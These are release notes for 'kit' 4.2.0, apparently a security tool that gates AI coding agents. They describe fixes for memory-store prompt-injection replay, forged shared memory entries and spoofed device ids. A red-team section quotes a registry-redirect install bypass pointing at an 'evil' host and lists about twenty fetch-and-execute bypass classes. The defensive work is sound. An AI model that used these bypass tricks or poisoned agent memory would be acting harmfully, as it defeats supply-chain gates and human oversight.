kit 4.2.0
Security — surface a trust-bearing KIT_DEVICE_ID override (#79)
kit checkwarns when a KIT_DEVICE_ID override is active on a real store. The
device id is trust-bearing — the device fences inpalList/palSyncFindings
auto-close another device's open findings by it, so a spoofed value could silently
close them; the protection was doc-only. NewdeviceIdOverrideActive()+
device-id overridecheck warns (never fails by default; escalates under
--fail-on-warning) when a well-formed override is set AND a store exists (a fence is
actually in effect); skips otherwise.src/memory/pal.ts,src/check-security.ts.
Security — shared-tier signature verification on the recall inject path (R4/#77)
- Auto-injected team decisions are now signature-verified.
recentDecisions
(SessionStart recovery / touched-decisions notice) replayed curated shared entries
into every session as trusted "Curated team decisions" without checking their
signature — so a tampered or forged entry rode in as trusted.recallSafeShared
now filters before injection: abad-sig(content changed after signing by a key we
hold) is ALWAYS dropped, and under a committed.kit-policy.signersanchor only
org-trustedentries are injected. With no anchor the common team case is preserved
(only tamper is dropped).src/memory/shared.ts,src/memory/hook.ts.
Security — kit check gates on memory-hooks liveness (R5/#71)
kit checknow fails when the self-playing capture loop silently degraded.
Memory capture + statusline depend on hooks in~/.claude/settings.json; if they were
installed here (durable marker present) but have since vanished, capture is silently off
(the store looks installed but records nothing).kit doctoralready flagged this and
kit memory uninstallalready audits the teardown; a newmemory hooks livenesscheck
folds the same liveness into thekit checksecurity gate. Skips when never installed
(CI / fresh machine) and after a clean uninstall, so it fails only on genuine silent
degradation.src/check-security.ts.
Security — PII parity: detect a Swedish personnummer at rest
findSecretsnow detects a Swedish personnummer (Luhn-validated). kit's patterns
were secret-focused and caught no PII (the ruvnet/AIDefence research flagged the gap).
A personnummer carries a Luhn check digit, so detection is high-precision — it validates
the check digit and a plausible date rather than matching a bare 10/12-digit run, so a
timestamp/id/phone number doesn't trip it. Matched values are masked (never echoed), so
kit memory scansurfaces a personnummer leaked into the store without re-leaking it.
src/utils/redactSecrets.ts.
Security — MCP kit_run tokenization
kit_runtokenizes like a shell instead of a naive whitespace split.command.split(/\s+/)
turnedgit commit -m "a b"into the wrong argv and silently ran a different command. A new
shellSplitutil tokenizes POSIX-style (quotes, escapes) without evaluating anything (argv is
run via execFile, no shell); an unterminated quote is refused, not mis-split. Same fix applied
to the.kit.toml [setup]command runner. (The other holistic-review MCP items — mutating tools
routed through governance/audit, and a singlecomputeCheckVerdictshared by CLI and MCP — were
already in place.)src/utils/shellSplit.ts,src/mcp-server.ts,src/cli.ts.
Security — kit check now gates on a poisoned memory store (R3)
kit checkscans the memory store for a replayable prompt-injection. The store is
replayed into every session via recall, so a poisoned entry is a delayed injection.
Recall already excludes quarantined rows and sanitizes render paths; the missing piece
was thatkit checknever scanned the store itself, so a message indexed BEFORE the
insert-time quarantine gate (a non-quarantined high-confidence injection) was still
recallable andkit checkreported green. A newmemory injectioncheck flags those
rows and names the one-command fix (kit memory scan --injection --quarantine, which
excludes them from recall so the flag clears). It WARNS by default — the scanner can't
tell a message discussing an injection from a poisoned one, so a hard fail would turn
every security researcher's gate permanently red — and ESCALATES to a fail under
--fail-on-warning/ strict CI. Fail-closed (didNotRun) if the store can't be
opened/scanned; honest skip when there is no store.src/memory/scan.ts,
src/check-security.ts.
Integration — external findings ingestion: connect any scanner to kit check
kit checknow folds third-party findings into its verdict. A partner tool
(akit-plugin-*, or any in-house gate) appends one JSON object per line to
.kit-scan-results.jsonl—{source, severity, title?, id?, package?}— and
kit check --category securityingests it:critical/highfail the gate
(likenpm audit),medium/lowwarn, grouped per source. This is the inbound
integration contract from the research: partners connect to kit's stable surface;
kit's core needs no per-partner code (thekit-plugin-snyk/-wiz/-sentruxplugins
already write this file — nothing consumed it into the verdict until now).
No-false-green: ingestion can only add/escalate findings, never emit apass, and a
garbage/hostile file cannot green the gate; unparseable lines are surfaced (never
silently dropped). No file → no-op. Deterministic, zero-LLM. Newsrc/external-findings.ts;
documented indocs/EXTERNAL_FINDINGS.md.
Security — self-healing scanner preflight: install a missing scanner instead of only failing (found by dogfooding)
kit check/kit cinow auto-provision a declared-but-missing scanner before
scanning. A missing scanner shouldn't just fail the gate — in an ephemeral
environment it should be installed so the scan actually runs.autoInstallScanners
installs any security scanner that is DECLARED in.kit.toml [tools]but not yet
present (semgrep,socket,trufflehog,trivy,osv-scanner), then the scan
runs against it. It is the runtime complement tokit installat env-setup (which
provisions the same tools); this backstops the case where setup did not run. Only
kit's known scanner refs are touched, and only when already declared, so it can
never pull in a tool the project didn't opt into. Triage-gated and read-only-aware
(viainstallTools), best-effort (a failed install leaves the check to fail closed),
skipped when air-gapped, and opt-out via--no-auto-install/KIT_CHECK_NO_AUTOINSTALL.
src/install.ts,src/cli.ts.
Security — scanner-health strict: a missing scanner no longer passes as a warning (found by dogfooding)
didNotRunwas missing on tool-absent scanner branches.check-security's
contract is that a check which could not RUN because its tool is absent is
didNotRunand FAILS the strict gate (kit ci) — "green means every check
actually ran". Five branches violated it, returning a plainwarn:pip-audit
(with arequirements.txtpresent),guarddog(opted in, manifest present),
trivycontainer / IaC / Maven scans (Dockerfile / Compose / Terraform / pom
present), and thelicense check(neitherlicense-checkernornpx
available). A repo with Dockerfiles but no trivy therefore passed strict CI as a
mere warning — a scanner-health false-green. All five now setdidNotRun, so an
unscanned-because-uninstalled scanner fails strict (still downgradable with
--lenient/KIT_CI_LENIENT). Localkit checkoutput is unchanged; opt-in and
not-applicable cases remain honest skips.src/check-security.ts.
Security — supply-chain gate, secrets/audit & control-plane hardening (backlog B1–B5)
A deep MEDIUM/LOW security sweep, each area hardened through repeated adversarial
re-attacks against the compiled build until it converged. Deterministic and
fail-closed throughout.
- Install-gate parser (B1). Closed ~20 fetch-and-execute bypass classes in the
gate-bashhook: intra-word quoting, path/backslash/env-prefix binaries, process
substitution + here-strings, missing verbs (npm install-test/it/update/ci,
yarn global add,uv run --with,corepackincl.corepack pnpm@9dispatch,
create/init initiators), shell-c(flag clusters-lc, ANSI-C$'…',
escaped-quote nesting),${IFS}/${IFS<op>}word-splitting,npm exec -c/--call
and runner→package-manager chaining, bare-reinstall + registry-redirect fail-close,
and$VAR/xargsindirection. Also fixed three hot-path algorithmic-complexity
DoS issues (regex ReDoS,SEGMENT_SPLITO(N²), queue-driver O(N²)) — all now
linear with timing regression tests.src/install-gate.ts. - Triage version semantics (B2). The gate stripped the version, so
npm i evil@1.2.3
was triaged aslatest— a clean latest could vouch for a yanked/malicious pinned
version. The pinned version/tag is now carried onto the triage ref and the triage
script resolves the spec to the exact version the manager installs (semver /
PEP 440: exact pins, dist-tags, ranges like@2/@^1/<2/~=1.2); npm alias specs
(name@npm:other) fail closed. Documented that a PASS is an existence/health/version
gate, not a malware verdict (that is opt-in GuardDog).src/install-gate.ts,
skills/triage/scripts/triage.py. - Secrets & redaction (B3). New detectors — raw PEM private keys, Azure
AccountKey=,
SendGrid, Slackxapp-, npm tokens, token-in-URL-userinfo (all ReDoS-bounded). The
audit sink now redactserror/metadata/operation/environmentby value before
writing (covers the chain, remote push, and pending queue), the hash chain still
verifies, and reassembly is prototype-pollution-safe.env-inspectno longer leaks a
fixed prefix; the plaintext scanner now opens.npmrc/id_rsa/*.pem/*.key. - Control-plane (B4). A monotonic, signed
policy.revisionratchet rejects a replayed
older policy over the untrusted transport (the floor is trusted only from a verifying
on-disk policy). gzip-bomb guard bounds decompression onkit memory pull; the remote
bundle fetch is now timeout- and size-capped.src/control-plane/distribute.ts,
src/policy-doc.ts,src/memory/backup.ts. - Cross-cutting (B5). IDs use
crypto.randomUUID()(unguessable approval handles);
theagent_writesauthz lookup isObject.hasOwn-guarded against prototype keys;
.env.localis created0o600atomically.src/id-generator.ts,src/policy.ts,
src/provision.ts. - Triage skill refresh on upgrade (found by dogfooding). The bundled triage script
was only copied to~/.claude/skills/triagewhen ABSENT, so a kit upgrade that improved
triage.py(e.g. the B2 version resolver, new secret patterns) never reached existing
installs — the CLI silently kept running the old script (a pinnedpkg@1.2.3was even
false-blocked because the stale copy fetched the literalpkg@1.2.3name → 404). The
installed copy is now version-stamped and refreshed when it was written by an older kit.
src/triage.ts. - Install-gate hooks now route through the self-healing wrapper (found by dogfooding).
kit agent-config --install-gatewired each agent's PreToolUse hook with a baked
absolute<node> <cli.js> gate-bash, diverging from the memory hooks (which prefer the
stable~/.kit/bin/kitwrapper). Two costs: the gate ran in a non-login hook shell
without the tool PATH, so triage'spython3/gitsubprocesses could fail (fail-closed,
but spamming false-blocks); and a baked node path frozen into a config goes stale if node
moves (nvm/volta/fnm) or kit relocates, so the hook could fail to spawn. The gate now
prefers the wrapper — one stable path kit refreshes in place — andinstallAllInstallGates
writes the wrapper first (skipped in read-only mode).src/agent-config.ts. kit memory learnno longer surfaces harness scaffolding (found by dogfooding).
Injected reminders, slash-command echoes, session-continuation banners, hook output and
image placeholders are stored astype='user'rows and recur every session, so they
dominated the "recurring instructions" ranking and buried the real ones (<system-reminder>,
/model, "Continue from where you left off", "… hook success:", "[Image: …]"). A
deterministic, high-precisionisBoilerplatefilter (structural tags + a leading slash
command + a few verbatim harness phrases — never generic words) drops them before ranking.
src/memory/learn.ts.kit memory scan --injectionsurfaces quarantine state (found by dogfooding). The scan
reads every row regardless of quarantine, so re-running it after--quarantineshowed the
same high-confidence list and read as "still exposed" even though those rows are excluded
from recall. Plain injection scans with high-confidence findings now print how many messages
are already quarantined and point at--quarantine. Deliberately NOT a path/content allowlist:
a suppression channel on an injection scanner would be a bypass.src/commands/memory.ts.
Security — red-team critical fixes
A code-in-hand adversarial red-team of kit found three CONFIRMED critical
false-greens; all three are now closed:
- Install-gate registry-redirect bypass.
npm_config_registry=http://evil/ npm i lodash
(andPIP_INDEX_URL=…,--registry=…,-i <url>) previously triaged the reputable
public NAME and returned triage PASS while the package manager pulled the code
from an attacker registry.parseInstallCommandnow detects install-SOURCE
redirects (env vars + flags) and marks the command unverifiable (fail-closed)
unless the source is the known public default.src/install-gate.ts. - CI publish supply-chain: tag-push → npm as
latest.publish.ymlran from the
pushed tag's tree and imported+ultimately-trusted the in-repomaintainer-pubkey.asc,
so anyone who could push av*tag could swap the key and ship attacker code with
valid provenance. The publish job now runs under a protectedenvironment:
(npm-publish, gateNPM_TOKENbehind required reviewers) and pins the expected
key fingerprint in aMAINTAINER_KEY_FPRsecret — a mismatched/ swapped in-repo
key is refused (fail-closed; the secret is required)..github/workflows/publish.yml. - exec-broker "dead code" false-green. The resource gates only inspected declared
effect arrays, which the production caller never populated — so every op passed
regardless of policy.brokerExecnow fail-closed-denies a gated op that declares
no effect contract under an active policy (a genuinely effect-free op opts in via
declaredEffects: true), turning a silent rubber-stamp into real enforcement.
src/exec-broker/broker.ts.
Added
-
Control-plane distribution — signed policy + revocation propagation (Pelare 2,
src/control-plane/distribute.ts). APolicyBundle(raw.kit-policy.toml+
.kit-policy.sig+ signed revocations) can be fetched from a file (air-gapped) or
an opt-inhttps:URL (injectablefetchImpl), thenverifyPolicyBundleverifies
it fully offline against the repo's committed.kit-policy.signerstrust anchor
— reusing the exactverifyPolicycodepath (no crypto re-implementation) — and
applyPolicyBundlewrites it ONLY when valid, merging each revocation after a
per-record signature check against the anchor. Fail-closed throughout (untrusted
signer, tampered policy/revocation, or malformed bundle → rejected,root
untouched). NewappendRevocationsprimitive merges pre-verified records
(dedup) without re-signing. No egress by default; zero LLM. -
exec-broker wired into the MCP mutating-tool path (opt-in) via
runBrokered
(src/exec-broker/) andrunGovernedBrokered(src/governance-middleware.ts).
The Pelare-3 resource gates (egress / fs-write / env) now compose ON TOP of the
governance floor at the four MCP mutating tools. It is opt-in and
non-breaking: with no.kit-exec-broker.json(norKIT_EXEC_BROKER_POLICY)
present,runBrokeredis a transparent passthrough, so behavior is identical
until a user drops a policy in. A present-but-malformed policy fails closed
(deny) — a broken gate never silently disables enforcement. -
RBAC identity providers for Microsoft Entra ID and Google Cloud Identity
(src/rbac/providers-cloud.ts), siblings of the GitHub backend. Both compile
role bindings at ENROLLMENT time behind an injectable membership source (real
wiring: GraphGET /v1.0/users/{id}/memberOfwith@odata.nextLinkpagination;
Cloud Identitymemberships:searchTransitiveGroupswithnextPageToken), map
group membership → kit roles via aroleMap, and are namespaceable by
tenant/domain. Fail-closed (a non-OK response throws, never spurious empty
membership);KIT_RBAC_ENTRA_API/KIT_RBAC_GOOGLE_APIoverride the base URL.
Enrollment-only — never imported by the offline decision path, so RBAC stays
zero-network at decision time across all three IdPs. (Live endpoint shapes are
the documented ones; verify against a real tenant before production reliance.)
Full changelog: https://github.com/sandstream/kit/blob/v4.2.0/CHANGELOG.md
Verify this release:
git tag -v v4.2.0
npm audit signatures